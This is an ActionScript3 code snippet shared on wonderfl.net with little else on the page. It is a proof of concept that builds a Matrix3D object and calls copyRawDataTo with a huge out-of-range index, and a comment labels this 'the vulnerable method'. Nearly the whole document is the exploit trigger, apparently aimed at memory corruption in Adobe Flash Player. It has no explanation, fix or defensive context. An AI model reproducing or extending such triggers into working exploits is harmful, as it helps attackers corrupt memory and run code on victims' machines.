flash on 2012-8-4

by fdasddsfsdf
♥0 | Line 14 | Modified 2012-08-04 23:56:34 | MIT License
play

ActionScript3 source code

/**
 * Copyright fdasddsfsdf ( http://wonderfl.net/user/fdasddsfsdf )
 * MIT License ( http://www.opensource.org/licenses/mit-license.php )
 * Downloaded from: http://wonderfl.net/c/1uGm
 */

package{
    import flash.geom.Matrix3D;

    public class MyClass
    {        
        static public function Poc() : void
        {
            
            // prepare vector for Matrix3D() constructor
            var v:Vector.<Number> = new Vector.<Number>(16);
            for(var i:int=0; i < 16; i++) v[i] = i+1;
                
            // create Matrix3D
            var m:Matrix3D = new Matrix3D(v);
            var v2:Vector.<Number> = new Vector.<Number>(16);
            
            // call the vulnerable method
            m.copyRawDataTo(v2, 0xffffffffe);
        }
    }
}